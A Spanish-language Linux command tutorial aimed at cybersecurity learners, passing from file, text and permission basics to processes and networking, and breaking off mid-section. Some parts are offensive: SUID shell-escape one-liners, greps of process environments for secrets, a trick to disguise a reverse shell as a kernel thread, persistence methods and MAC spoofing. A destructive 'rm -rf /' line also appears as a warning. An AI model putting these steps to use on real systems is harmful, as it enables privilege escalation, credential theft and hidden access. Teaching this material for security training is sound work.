mv file.txt /tmp/              # Mover a ubicación diferente
mv file.txt /tmp/newname.txt   # Mover Y renombrar
mv -i old.txt new.txt          # Interactivo (preguntar antes de sobrescribir)
mv folder/ /tmp/               # Mover directorio completo

# ==================== ELIMINAR (¡CUIDADO - NO HAY PAPELERA DE RECICLAJE!) ====================

rm file.txt                    # Eliminar archivo (SE FUE PARA SIEMPRE)
rm -i file.txt                 # Interactivo (preguntar primero)
rm -r folder/                  # Eliminar directorio recursivamente
rm -rf folder/                 # Forzar eliminación, sin confirmación (¡PELIGROSO!)
rm -rf /                       # ¡NO HAGAS ESTO! (Elimina todo)

rmdir emptyfolder/             # Eliminar solo si está vacío (más seguro)

# Consejo Pro: Usa trash-cli para eliminaciones recuperables
# sudo apt install trash-cli
# trash file.txt               # Mover a papelera en lugar de eliminar
```

***

### Encontrar Archivos&#x20;

```bash
# ==================== FIND - La Herramienta Poderosa ====================

find /path -name "filename"    # Buscar por nombre
find / -name "passwd"          # Buscar passwd en cualquier lugar
find / -name "*.conf"          # Buscar todos los archivos .conf
find / -iname "*.conf"         # Insensible a mayúsculas

find /home -user root          # Buscar archivos del propietario root
find /home -group admin        # Buscar archivos del grupo admin

find / -type f                 # Buscar solo archivos
find / -type d                 # Buscar solo directorios
find / -type l                 # Buscar solo enlaces simbólicos

find / -size +100M             # Archivos mayores de 100MB
find / -size -1k               # Archivos menores de 1KB

find / -mtime -1               # Modificados en las últimas 24 horas
find / -mtime +30              # Modificados hace más de 30 días
find / -mmin -60               # Modificados en los últimos 60 minutos

find / -perm -4000             # Archivos SUID (¡ESCALADA DE PRIVILEGIOS!)
find / -perm -2000             # Archivos SGID
find / -perm -o+w              # Archivos escribibles por todos

find / -writable               # Archivos en los que puedes escribir
find / -readable               # Archivos que puedes leer

# Combinar con acciones:
find / -name "*.log" -delete   # Buscar y eliminar
find / -name "*.sh" -exec chmod +x {} \;  # Buscar y ejecutar comando

# Redirigir errores (spam de permiso denegado):
find / -name "passwd" 2>/dev/null

# ==================== LOCATE - Búsqueda Rápida ====================

locate filename                # Búsqueda instantánea (usa base de datos)
locate -i filename             # Insensible a mayúsculas
sudo updatedb                  # Actualizar la base de datos

# locate es rápido pero puede perder archivos recientes (base de datos se actualiza periódicamente)

# ==================== WHICH / WHEREIS / TYPE ====================

which python                   # Encontrar ubicación del comando
which -a python                # Encontrar TODAS las ubicaciones

whereis python                 # Encontrar binario, código fuente, páginas man
type python                    # ¿Qué tipo de comando es?
```

***

### Procesamiento de Texto

```bash
# ==================== GREP - Buscar Dentro de Archivos ====================

grep "password" file.txt               # Encontrar líneas que contengan "password"
grep -i "password" file.txt            # Insensible a mayúsculas
grep -r "password" /etc/               # Búsqueda recursiva en directorio
grep -l "password" *.txt               # Listar solo nombres de archivos que coincidan
grep -n "password" file.txt            # Mostrar números de línea
grep -c "password" file.txt            # Contar coincidencias
grep -v "ignore" file.txt              # Invertir: líneas que NO coincidan
grep -A 3 "error" file.txt             # Mostrar 3 líneas Después de la coincidencia
grep -B 3 "error" file.txt             # Mostrar 3 líneas Antes de la coincidencia
grep -C 3 "error" file.txt             # Mostrar 3 líneas de Contexto (antes y después)

# Expresiones regulares con grep:
grep -E "user|pass" file.txt           # Regex extendido: OR
grep "^root" /etc/passwd               # Líneas que empiecen con "root"
grep "bash$" /etc/passwd               # Líneas que terminen con "bash"
grep -E "192\.168\.[0-9]+\.[0-9]+" file.txt  # Direcciones IP

# Usos prácticos en ciberseguridad:
grep -r "password" /var/www/           # Encontrar contraseñas en código web
grep -r "API_KEY" /opt/                # Encontrar claves API
grep "Failed password" /var/log/auth.log  # Intentos de login fallidos

# ==================== SED - Editor de Flujo (Buscar y Reemplazar) ====================

sed 's/old/new/' file.txt              # Reemplazar primera ocurrencia por línea
sed 's/old/new/g' file.txt             # Reemplazar TODAS las ocurrencias (global)
sed -i 's/old/new/g' file.txt          # Editar archivo en el lugar
sed -i.bak 's/old/new/g' file.txt      # En el lugar con backup

sed '/pattern/d' file.txt              # Eliminar líneas que coincidan con patrón
sed '5d' file.txt                      # Eliminar línea 5
sed '5,10d' file.txt                   # Eliminar líneas 5-10
sed -n '5,10p' file.txt                # Imprimir solo líneas 5-10

sed 's/^/PREFIX /' file.txt            # Añadir prefijo a todas las líneas
sed 's/$/ SUFFIX/' file.txt            # Añadir sufijo a todas las líneas

# ==================== AWK - Procesamiento de Patrones ====================

awk '{print $1}' file.txt              # Imprimir primera columna (delimitado por espacio)
awk '{print $1, $3}' file.txt          # Imprimir columnas 1 y 3
awk -F: '{print $1}' /etc/passwd       # Usar : como delimitador (obtener usernames)
awk -F: '{print $1,$3}' /etc/passwd    # Username y UID

awk '/pattern/ {print}' file.txt       # Imprimir líneas que coincidan con patrón
awk '$3 > 100 {print}' file.txt        # Imprimir si columna 3 > 100
awk '{sum += $1} END {print sum}'      # Sumar primera columna

# Práctico: Obtener todos los usernames de passwd
awk -F: '{print $1}' /etc/passwd

# Práctico: Obtener todos los usuarios que pueden hacer login (tienen /bin/bash)
awk -F: '$7 ~ /bash/ {print $1}' /etc/passwd

# ==================== CUT - Extraer Columnas ====================

cut -d: -f1 /etc/passwd                # Obtener primer campo, delimitador :
cut -d: -f1,3 /etc/passwd              # Obtener campos 1 y 3
cut -d: -f1-3 /etc/passwd              # Obtener campos 1 al 3
cut -c1-10 file.txt                    # Obtener caracteres 1-10

# ==================== SORT & UNIQ - Organizar Datos ====================

sort file.txt                          # Ordenar alfabéticamente
sort -n file.txt                       # Ordenar numéricamente
sort -r file.txt                       # Orden inverso
sort -u file.txt                       # Ordenar y eliminar duplicados
sort -t: -k3 -n /etc/passwd            # Ordenar por campo 3 (UID)

uniq file.txt                          # Eliminar duplicados adyacentes
uniq -c file.txt                       # Contar ocurrencias
sort file.txt | uniq -c | sort -rn     # Contar y ordenar por frecuencia

# ==================== TR - Traducir Caracteres ====================

tr 'a-z' 'A-Z' < file.txt              # Convertir a mayúsculas
tr '[:lower:]' '[:upper:]' < file.txt  # Lo mismo
tr -d '[:digit:]' < file.txt           # Eliminar todos los dígitos
tr '\0' '\n' < /proc/1/environ         # Reemplazar bytes nulos con saltos de línea
```

***

### Pipes y Redirección

```bash
# ==================== PIPES (|) - Encadenar Comandos ====================

# La salida del comando 1 se convierte en entrada del comando 2
cat /etc/passwd | grep "bash"          # Encontrar usuarios con bash
ps aux | grep "apache"                 # Encontrar procesos de Apache
ls -la | head -20                      # Primeras 20 líneas del listado
history | grep "ssh"                   # Encontrar comandos SSH en el historial
netstat -tuln | grep "LISTEN"          # Encontrar puertos escuchando

# Múltiples tuberías:
cat access.log | grep "404" | awk '{print $1}' | sort | uniq -c | sort -rn
# Encontrar todos los errores 404 → obtener IP → ordenar → contar → ordenar por frecuencia

# ==================== REDIRECCIÓN DE SALIDA (>) ====================

echo "hello" > file.txt                # Escribir en archivo (¡SOBRESCRIBE!)
echo "more" >> file.txt                # Añadir al archivo
ls -la > listing.txt                   # Guardar salida en archivo
cat file1 file2 > combined.txt         # Combinar archivos

# ==================== REDIRECCIÓN DE ENTRADA (<) ====================

mysql < script.sql                     # Alimentar archivo a comando
sort < unsorted.txt > sorted.txt       # Entrada desde archivo, salida a archivo

# ==================== REDIRECCIÓN DE ERRORES (2>) ====================

command 2> errors.log                  # Errores a archivo, salida a pantalla
command 2>/dev/null                    # Descartar errores (fallos silenciosos)
command > output.txt 2>&1              # Tanto stdout como stderr a archivo
command &> output.txt                  # Lo mismo (forma abreviada)

# Práctico: Suprimir errores de permiso denegado
find / -name "secret" 2>/dev/null

# ==================== TEE - Salida a Ambos ====================

command | tee output.txt               # Mostrar Y guardar en archivo
command | tee -a output.txt            # Mostrar Y añadir al archivo

# ==================== HERE DOCUMENTS ====================

cat << EOF > script.sh
#!/bin/bash
echo "This is a script"
echo "Created inline"
EOF
```

<figure><img src="/files/YcEuzgSmZd4OtkaQ6Ojw" alt=""><figcaption></figcaption></figure>

## Permisos de Linux: La Base de la Seguridad

Los permisos son el **NÚCLEO** de la seguridad en Linux. Cada archivo, cada directorio, cada dispositivo tiene permisos que controlan quién puede leer, escribir o ejecutar. Entender los permisos profundamente es esencial tanto para defender como atacar sistemas. Cada exploit de escala de privilegios finalmente apunta a debilidades en los permisos.

<details>

<summary>🔐 La Metáfora del Edificio de Oficinas (click aquí)</summary>

Piensa en un sistema Linux como un edificio de oficinas:<br>

* <mark style="color:$info;">**Propietario (Owner):**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">La persona cuyo nombre está en la puerta de la oficina - control total</mark>
* <mark style="color:$info;">**Grupo (Group):**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Personas en el mismo departamento - acceso compartido a recursos del departamento</mark>
* <mark style="color:$info;">**Otros (Others):**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Todos los demás en el edificio - limitados a áreas públicas</mark>

Cada archivo es como un documento con tres listas de acceso: qué puede hacer el propietario, qué puede hacer el departamento y qué puede hacer el resto.

</details>

***

### Leyendo Cadenas de Permisos

```shellscript
$ ls -la
drwxr-x--- 2 hacker users   4096 Dec 14 09:00 private/
-rwxr-xr-x 1 root   root   12345 Dec 14 10:00 script.sh
-rw-r--r-- 1 hacker hacker   182 Dec 14 09:30 notes.txt
lrwxrwxrwx 1 root   root      11 Dec 14 08:00 link -> /etc/passwd

# Desglosando: -rwxr-xr-x

# Posición 1: Tipo de archivo
# -  = Archivo regular
# d  = Directorio
# l  = Enlace simbólico
# c  = Dispositivo de caracteres
# b  = Dispositivo de bloques
# s  = Socket
# p  = Tubería con nombre (named pipe)

# Posiciones 2-4: Permisos del PROPIETARIO
# rwx = Read (4), Write (2), eXecute (1)
# El propietario del archivo puede leer, escribir y ejecutar

# Posiciones 5-7: Permisos del GRUPO
# r-x = Leer y ejecutar, sin escritura
# Los miembros del grupo pueden leer y ejecutar, pero no modificar

# Posiciones 8-10: Permisos de OTROS
# r-x = Leer y ejecutar, sin escritura
# Todos los demás pueden leer y ejecutar, pero no modificar
```

***

### Permisos Numéricos (Octales)

```bash
# Cada permiso tiene un valor numérico:
# r = 4  (read - leer)
# w = 2  (write - escribir)
# x = 1  (execute - ejecutar)

# Súmalos para cada categoría:
# rwx = 4+2+1 = 7 (acceso completo)
# rw- = 4+2+0 = 6 (leer/escribir)
# r-x = 4+0+1 = 5 (leer/ejecutar)
# r-- = 4+0+0 = 4 (solo lectura)
# --- = 0+0+0 = 0 (sin acceso)

# Tres dígitos: Propietario, Grupo, Otros

# Conjuntos de permisos comunes:
# 777 = rwxrwxrwx = Todos pueden hacer todo (¡PELIGROSO!)
# 755 = rwxr-xr-x = Propietario completo, otros leer/ejecutar (ejecutables)
# 750 = rwxr-x--- = Propietario completo, grupo leer/ejecutar, otros nada
# 700 = rwx------ = Solo el propietario puede acceder (¡privado!)
# 644 = rw-r--r-- = Propietario leer/escribir, otros solo leer (documentos)
# 640 = rw-r----- = Propietario leer/escribir, grupo leer (docs sensibles)
# 600 = rw------- = Solo propietario puede leer/escribir (¡secretos!)
# 400 = r-------- = Solo propietario puede leer (¡claves SSH!)
```

***

### Permisos en Directorios

```bash
# ¡Los permisos significan cosas diferentes para directorios!

# r (read - leer) en directorio:
# - Puede listar el contenido (funciona ls)
# - Sin esto, no puedes ver qué hay dentro

# w (write - escribir) en directorio:
# - Puede crear, eliminar, renombrar archivos dentro
# - ¡Incluso archivos que no posees! (si tienes escritura en el dir)

# x (execute - ejecutar) en directorio:
# - Puede entrar al directorio (funciona cd)
# - Puede acceder a archivos dentro SI conoces el nombre
# - Sin x, el directorio es completamente inaccesible

# Permisos comunes de directorios:
# 755 = Propietario completo, otros pueden navegar
# 750 = Propietario completo, grupo puede navegar, otros bloqueados
# 700 = Solo propietario puede acceder (directorio privado)
# 1777 = Sticky bit (ver abajo) - para /tmp
```

***

### Cambiando Permisos

```bash
# ==================== CHMOD - Cambiar Modo ====================

# Método numérico (recomendado):
chmod 755 script.sh                # rwxr-xr-x
chmod 600 secret.txt               # rw-------
chmod 777 folder/                  # rwxrwxrwx (¡EVITAR!)

# Método simbólico:
chmod +x script.sh                 # Añadir ejecución para todos
chmod u+x script.sh                # Añadir ejecución solo para usuario/propietario
chmod g+w file.txt                 # Añadir escritura para grupo
chmod o-rwx secret.txt             # Eliminar todos los permisos para otros
chmod go-rwx private.txt           # Eliminar todos para grupo Y otros
chmod a+r public.txt               # Añadir lectura para todos (a = all)

chmod u=rwx,g=rx,o=r file          # Establecer permisos específicos

# Recursivo:
chmod -R 755 folder/               # Aplicar a carpeta y todo su contenido

# ==================== CHOWN - Cambiar Propietario ====================

chown hacker file.txt              # Cambiar propietario a hacker
chown hacker:users file.txt        # Cambiar propietario Y grupo
chown :users file.txt              # Cambiar solo grupo
chown -R hacker folder/            # Cambio recursivo

# ==================== CHGRP - Cambiar Grupo ====================

chgrp users file.txt               # Cambiar grupo
chgrp -R users folder/             # Recursivo
```

***

### Permisos Especiales - Donde viven los Exploits

{% hint style="info" icon="bullseye-arrow" %}

## &#x20;SUID/SGID - Mina de Oro para Escalada de Privilegios

<mark style="color:$info;">**SUID (Set User ID):**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Hace que un programa se ejecute como el PROPIETARIO DEL ARCHIVO, no como el usuario que lo ejecuta. Si root posee un binario SUID con una vulnerabilidad, un usuario regular puede explotarlo para convertirse en root</mark>\
\ <mark style="color:$info;">**SGID (Set Group ID):**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Hace que un programa se ejecute con los permisos del GRUPO del archivo</mark>
{% endhint %}

```bash
# ==================== SUID (Set User ID) ====================

# Cuando SUID está activado, el programa se ejecuta como el PROPIETARIO DEL ARCHIVO
# Así es como usuarios regulares pueden ejecutar passwd para cambiar su contraseña
# /usr/bin/passwd es propiedad de root pero se ejecuta con SUID

$ ls -la /usr/bin/passwd
-rwsr-xr-x 1 root root 68208 Jan 1 2024 /usr/bin/passwd
#   ^
#   La 's' en lugar de 'x' significa que SUID está activado

# Cuando ejecutas passwd, se ejecuta COMO ROOT, aunque tú no seas root
# Esto le permite modificar /etc/shadow (que solo root puede escribir)

# Establecer SUID:
chmod u+s program                  # Simbólico
chmod 4755 program                 # Numérico (4 = SUID)

# ==================== ENCONTRAR BINARIOS SUID - ¡CRÍTICO PARA PRIVESC! ====================

find / -perm -4000 -type f 2>/dev/null     # Encontrar TODOS los archivos SUID

# Binarios SUID comunes que pueden ser explotados:
# /usr/bin/find      - ¡Puede ejecutar comandos!
# /usr/bin/vim       - ¡Puede generar shell!
# /usr/bin/python    - Obvio...
# /usr/bin/nmap      - El modo interactivo da shell
# /usr/bin/less      - !sh genera shell
# /usr/bin/awk       - Puede ejecutar comandos del sistema
# /usr/bin/cp        - Puede sobrescribir archivos sensibles

# ==================== EXPLOTANDO BINARIOS SUID ====================

# Ejemplo 1: find con SUID (propiedad de root)
find . -exec /bin/sh -p \;         # -p preserva privilegios

# Ejemplo 2: vim con SUID
vim -c '!sh'                       # Genera shell desde vim

# Ejemplo 3: python con SUID
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

# Ejemplo 4: awk con SUID
awk 'BEGIN {system("/bin/sh")}'

# Ejemplo 5: less con SUID
less /etc/passwd
!sh                                # Escribe esto dentro de less

# GTFOBins.github.io - ¡Base de datos de técnicas de explotación SUID!

# ==================== SGID (Set Group ID) ====================

# Similar a SUID pero para permisos de grupo
# Se muestra como 's' en la posición de ejecución del grupo

$ ls -la /usr/bin/wall
-rwxr-sr-x 1 root tty 19024 Jan 1 2024 /usr/bin/wall
#       ^
#       Bit SGID activado

# Encontrar binarios SGID:
find / -perm -2000 -type f 2>/dev/null

# ==================== STICKY BIT ====================

# Cuando se establece en un directorio, solo el propietario del archivo puede eliminar sus archivos
# Se usa en /tmp para evitar que usuarios eliminen archivos de otros

$ ls -la /tmp
drwxrwxrwt 15 root root 4096 Dec 14 10:00 /tmp
#        ^
#        La 't' significa sticky bit

# Establecer sticky bit:
chmod +t directory
chmod 1777 directory               # 1 = sticky bit
```

***

### Entendiendo unmask

```bash
# umask determina los permisos PREDETERMINADOS para archivos nuevos

# umask actual:
$ umask
0022

# umask se RESTA de los permisos completos:
# Permisos completos de archivo: 666 (rw-rw-rw-)
# Menos umask:                  -022
# Resultado:                     644 (rw-r--r--)

# Permisos completos de directorio: 777 (rwxrwxrwx)
# Menos umask:                      -022
# Resultado:                         755 (rwxr-xr-x)

# Valores umask comunes:
# 022 = Predeterminado: propietario completo, grupo/otros lectura
# 027 = Más privado: otros no obtienen nada
# 077 = Privado: solo el propietario puede acceder

# Establecer umask (para esta sesión):
umask 027

# Hacer permanente en ~/.bashrc
```

{% hint style="danger" %}

## &#x20;Vectores de Ataques Clave en Permisos

* <mark style="color:$info;">**Binarios SUID:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Si son explotables, root instantáneo</mark>
* <mark style="color:$info;">**Archivos accesibles por todos:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Puedes modificar configs, scripts</mark>
* <mark style="color:$info;">**Directorios escribibles por todos:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Puedes crear archivos para explotación</mark>
* <mark style="color:$info;">**Scripts cron escribibles:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">El código se ejecuta según horario como propietario</mark>
* <mark style="color:$info;">**Configs de servicios escribibles:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Reiniciar servicio = exploit activado</mark>
* <mark style="color:$info;">**Configuraciones sudo débiles:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Ejecutar comandos como root</mark>
  {% endhint %}

<figure><img src="/files/YcEuzgSmZd4OtkaQ6Ojw" alt=""><figcaption></figcaption></figure>

## Gestión de Procesos: Entendiendo Programas en Ejecución

Los procesos son programas en ejecución. Cada comando que escribes, cada servicio corriendo, cada muestra de malware - todos son procesos. Entender cómo verlos, controlarlos y manipuarlos es esencial para administración de sistemas, mantener persistencia, ocultar tu presencia y actividades post-explotación.

<details>

<summary>🏭 La Metáfora de la Fábrica (click aquí)</summary>

Piensa en tu sistema Linux como una fábrica:<br>

* <mark style="color:$info;">**El Kernel:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Gerente de la fábrica, coordina todo</mark>
* <mark style="color:$info;">**Procesos:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Trabajadores en el piso de la fábrica, cada uno haciendo su trabajo</mark>
* <mark style="color:$info;">**PID:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Número de identificación del empleado (identificador único)</mark>
* <mark style="color:$info;">**Proceso padre:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">El supervisor que contrató al trabajador</mark>
* <mark style="color:$info;">**Proceso hijo:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Trabajadores contratados por otros trabajadores</mark>
* <mark style="color:$info;">**Tiempo de CPU:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Cuánto trabajo hace cada empleado</mark>
* <mark style="color:$info;">**Memoria:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Cuánto espacio de escritorio necesita cada trabajador</mark>

</details>

***

### Viendo Procesos

```bash
# ==================== PS - Estado de Procesos ====================

ps                     # Solo tus procesos (terminal actual)
ps aux                 # TODOS los procesos del sistema, detallado
ps -ef                 # Otro formato (muestra PIDs padres)
ps aux | grep apache   # Encontrar proceso específico

# Entendiendo la salida de ps aux:
# USER  PID %CPU %MEM    VSZ   RSS TTY   STAT START   TIME COMMAND
# root    1  0.0  0.1 225152  9532 ?     Ss   Dec13   0:06 /sbin/init
# www-data 842 0.5 2.3 1234567 23456 ?   S    Dec13   1:24 /usr/sbin/apache2

# Significado de las columnas:
# USER   = Propietario del proceso
# PID    = ID del proceso (identificador único)
# %CPU   = Porcentaje de uso de CPU
# %MEM   = Porcentaje de uso de memoria
# VSZ    = Tamaño de memoria virtual
# RSS    = Resident Set Size (RAM real utilizada)
# TTY    = Terminal (? significa sin terminal / daemon)
# STAT   = Estado del proceso (ver abajo)
# START  = Cuándo comenzó el proceso
# TIME   = Tiempo de CPU acumulado
# COMMAND = Comando que inició el proceso

# Estados de proceso (columna STAT):
# R = Ejecutándose o ejecutable
# S = Durmiendo (esperando evento)
# D = Sueño ininterrumpible (generalmente I/O)
# Z = Zombie (terminado pero no limpiado)
# T = Detenido (suspendido)
# s = Líder de sesión
# + = Proceso en primer plano

# ==================== TOP - Visor de Procesos en Vivo ====================

top                    # Visor interactivo de procesos
# Presiona q para salir
# Presiona h para ayuda
# Presiona k para matar un proceso
# Presiona M para ordenar por memoria
# Presiona P para ordenar por CPU
# Presiona u luego username para filtrar por usuario

htop                   # Versión mejorada (instalar: apt install htop)
# Más colorido, navegación más fácil
# Teclas de flecha para mover, F9 para matar, F10 para salir

# ==================== OTROS VISORES DE PROCESOS ====================

pstree                 # Mostrar jerarquía de procesos
pstree -p              # Incluir PIDs
pgrep apache           # Obtener PIDs de procesos apache
pidof sshd             # Obtener PID de comando específico
```

***

### Controlando Procesos

```bash
# ==================== INICIAR PROCESOS ====================

./program              # Ejecutar en primer plano (bloquea terminal)
./program &            # Ejecutar en segundo plano (terminal libre)
nohup ./program &      # Ejecutar Y sobrevivir logout
nohup ./program > output.log 2>&1 &  # Con captura de salida

# Usar screen/tmux para sesiones persistentes:
screen                 # Iniciar nueva sesión screen
screen -S hacking      # Sesión con nombre
screen -ls             # Listar sesiones
screen -r hacking      # Reconectar a sesión
# Ctrl+A, D = Separar (dejar corriendo)

tmux                   # Similar a screen (más moderno)
tmux new -s work       # Nueva sesión con nombre
tmux ls                # Listar sesiones
tmux attach -t work    # Reconectar

# ==================== DETENER PROCESOS ====================

Ctrl+C                 # Interrumpir proceso en primer plano (SIGINT)
Ctrl+\                 # Salir del proceso en primer plano (SIGQUIT)
Ctrl+Z                 # Suspender proceso en primer plano (SIGTSTP)

kill PID               # Enviar SIGTERM (petición educada de detener)
kill -9 PID            # Enviar SIGKILL (forzar muerte, no puede capturarse)
kill -STOP PID         # Pausar proceso
kill -CONT PID         # Reanudar proceso pausado

killall apache2        # Matar todos los procesos llamados apache2
pkill -f "python"      # Matar procesos que coincidan con patrón
pkill -u hacker        # Matar todos los procesos del usuario hacker

# ==================== SEGUNDO PLANO/PRIMER PLANO ====================

Ctrl+Z                 # Suspender proceso actual en primer plano
bg                     # Reanudar proceso suspendido en segundo plano
fg                     # Traer proceso en segundo plano a primer plano
fg %2                  # Traer trabajo #2 a primer plano
jobs                   # Listar trabajos en segundo plano
jobs -l                # Incluir PIDs

# Ejemplo de flujo de trabajo:
$ ./long_script.sh
# Te das cuenta que tardará mucho...
^Z                     # Ctrl+Z para suspender
[1]+  Stopped         ./long_script.sh
$ bg                   # Reanudar en segundo plano
[1]+ ./long_script.sh &
$ # ¡La terminal está libre ahora!

# ==================== SEÑALES ====================

# Las señales son mensajes enviados a procesos
kill -l                # Listar todas las señales

# Señales importantes:
# 1  SIGHUP  - Colgar (recargar config)
# 2  SIGINT  - Interrumpir (Ctrl+C)
# 9  SIGKILL - Matar (no puede capturarse ni ignorarse)
# 15 SIGTERM - Terminar (por defecto, educado)
# 19 SIGSTOP - Detener (no puede capturarse)
# 18 SIGCONT - Continuar

kill -HUP PID          # Enviar hangup (a menudo recarga config)
kill -TERM PID         # Enviar terminate
kill -KILL PID         # Forzar muerte (último recurso)
```

***

### Información de Procesos

```bash
# ==================== SISTEMA DE ARCHIVOS /PROC ====================

ls /proc/              # Cada número es un directorio PID
ls /proc/1234/         # Información sobre PID 1234

# Archivos útiles en /proc/PID/:
cat /proc/1234/cmdline    # Comando que lo inició
cat /proc/1234/environ    # Variables de entorno (¡SECRETOS!)
cat /proc/1234/cwd        # Directorio de trabajo actual (enlace simbólico)
cat /proc/1234/exe        # Ruta al ejecutable (enlace simbólico)
cat /proc/1234/maps       # Mapa de memoria (para explotación)
cat /proc/1234/fd/        # Descriptores de archivo abiertos
cat /proc/1234/status     # Estado del proceso (UID, GID, memoria)

# Práctico: Encontrar secretos en variables de entorno
strings /proc/*/environ 2>/dev/null | grep -i password
strings /proc/*/environ 2>/dev/null | grep -i key
strings /proc/*/environ 2>/dev/null | grep -i secret

# ==================== OCULTAR TUS PROCESOS ====================

# Malo: Visible en ps
./reverse_shell.sh &

# Mejor: Renombrar para parecer legítimo
cp reverse_shell.sh "[kworker/0:1]"   # Parece un worker del kernel
./[kworker/0:1] &

# Mejor: Usar exec para reemplazar proceso
exec -a "[kworker/0:1]" ./reverse_shell.sh

# Verificar qué están ejecutando otros:
ps aux | grep -v "^\["    # Excluir hilos del kernel
```

{% hint style="info" icon="lightbulb" %}

## &#x20;Técnicas de Persistencia de Procesos

Manten tu acceso vivo incluso si tu proceso muere:<br>

* <mark style="color:$info;">**Cron Jobs:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Programa tu script para que se ejecute periódicamente</mark>
* <mark style="color:$info;">**Servicio systemd:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Crea un servicio que se reinicie automáticamente</mark>
* <mark style="color:$info;">**rc.local:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Ejecuta tu script o programa al iniciar el sistema</mark>
* <mark style="color:$info;">**\~/.bashrc:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Se ejecuta cuando el usuario inicia sesión</mark>
* <mark style="color:$info;">**SSH authorized\_keys:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Añade tu clave SSH para acceso persistente</mark>

{% endhint %}

<figure><img src="/files/YcEuzgSmZd4OtkaQ6Ojw" alt=""><figcaption></figcaption></figure>

## Redes en Linux: Conectando y Atacando

Los comandos de red son esenciales para reconocimiento, ataques y mantener acceso. En Ciberseguridad, pasarás más tiempo con estos comandos que con casi cualquier otro. Desde enumerar objetivos hasta establecer reverse shells, estos son tu pan de cada día para operaciones ofensivas.

<details>

<summary>🗺️ La Red como un Mapa (click aquí)</summary>

Piensa en el reconocimiento de red como mapear territorio enemigo<br>

* <mark style="color:$info;">**ip a:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Verificar tu propia ubicación en el mapa</mark>
* <mark style="color:$info;">**ping:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Gritar para ver si alguien responde</mark>
* <mark style="color:$info;">**nmap:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Enviar exploradores para encontrar todas las puertas y ventanas</mark>
* <mark style="color:$info;">**netstat:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Ver quién está visitando actualmente tu ubicación</mark>
* <mark style="color:$info;">**tcpdump:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Establecer puestos de escucha para oír todas las conversaciones</mark>
* <mark style="color:$info;">**ssh:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Un túnel seguro hacia territorio enemigo</mark>

</details>

***

### Información de Interfaces de Red

```bash
# ==================== DIRECCIONES IP E INTERFACES ====================

ip a                        # Todas las interfaces e IPs (moderno)
ip addr show eth0           # Detalles de interfaz específica
ip -c a                     # Salida con colores
ifconfig                    # Comando antiguo, aún funciona
ifconfig eth0               # Interfaz específica

# Entendiendo la salida:
# inet 192.168.1.100/24     = Dirección IPv4 con máscara de subred
# inet6 fe80::1/64          = Dirección IPv6
# ether 00:11:22:33:44:55   = Dirección MAC
# UP BROADCAST RUNNING      = La interfaz está activa

# Cambiar configuración de interfaz (requiere root)
ip link set eth0 down           # Desactivar interfaz
ip link set eth0 up             # Activar interfaz
ip addr add 192.168.1.50/24 dev eth0    # Añadir dirección IP
ip addr del 192.168.1.50/24 dev eth0    # Eliminar dirección IP

# Spoofing de dirección MAC
ip link set eth0 down
ip link set eth0 address 00:11:22:33:44:55
ip link set eth0 up
# O usar macchanger:
macchanger -r eth0              # MAC aleatoria
macchanger -m 00:11:22:33:44:55 eth0  # MAC específica

# ==================== ENRUTAMIENTO ====================

ip route                    # Mostrar tabla de enrutamiento (moderno)
ip route show               # Lo mismo
route -n                    # Formato antiguo, numérico
netstat -rn                 # Otra forma

# Gateway predeterminado (cómo llegar a internet)
ip route | grep default
# default via 192.168.1.1 dev eth0 proto dhcp

# Añadir rutas
ip route add 10.0.0.0/8 via 192.168.1.1    # Enrutar red vía gateway
ip route add default via 192.168.1.1        # Establecer gateway predeterminado
ip route del 10.0.0.0/8                     # Eliminar ruta
```

***

### DNS y Resolución de Nombres

```bash
# ==================== CONFIGURACIÓN DNS ====================

cat /etc/resolv.conf        # Configuración de servidores DNS
cat /etc/hosts              # Mapeos locales de nombres de host

# ==================== HERRAMIENTAS DE BÚSQUEDA DNS ====================

nslookup google.com         # Búsqueda simple
nslookup -type=MX gmail.com # Servidores de correo
nslookup -type=NS google.com # Servidores de nombres

dig google.com              # Búsqueda DNS detallada
dig +short google.com       # Solo la IP
dig @8.8.8.8 google.com     # Usar servidor DNS específico
dig ANY google.com          # Todos los tipos de registros
dig -x 8.8.8.8              # Búsqueda inversa (IP a nombre)

host google.com             # Búsqueda simple
host -t MX gmail.com        # Servidores de correo

# Enumeración DNS para hacking
dig axfr @ns1.target.com target.com   # Transferencia de zona (¡si está permitida!)
dnsrecon -d target.com                 # Enumeración DNS
dnsenum target.com                     # Otra herramienta de enum DNS
fierce -dns target.com                 # Fuerza bruta DNS
```

***

### Información de Conexiones y Puertos

```bash
# ==================== VER CONEXIONES ====================

# netstat - clásico pero siendo reemplazado por ss
netstat -tuln              # Puertos escuchando (TCP/UDP, numérico)
netstat -tupn              # Todas las conexiones con PIDs
netstat -an                # Todos los sockets, numérico

# ss - reemplazo moderno de netstat (más rápido)
ss -tuln                   # Puertos escuchando
ss -tupn                   # Todas las conexiones con PIDs
ss -s                      # Estadísticas de sockets
ss state established       # Solo conexiones establecidas

# Entendiendo la salida:
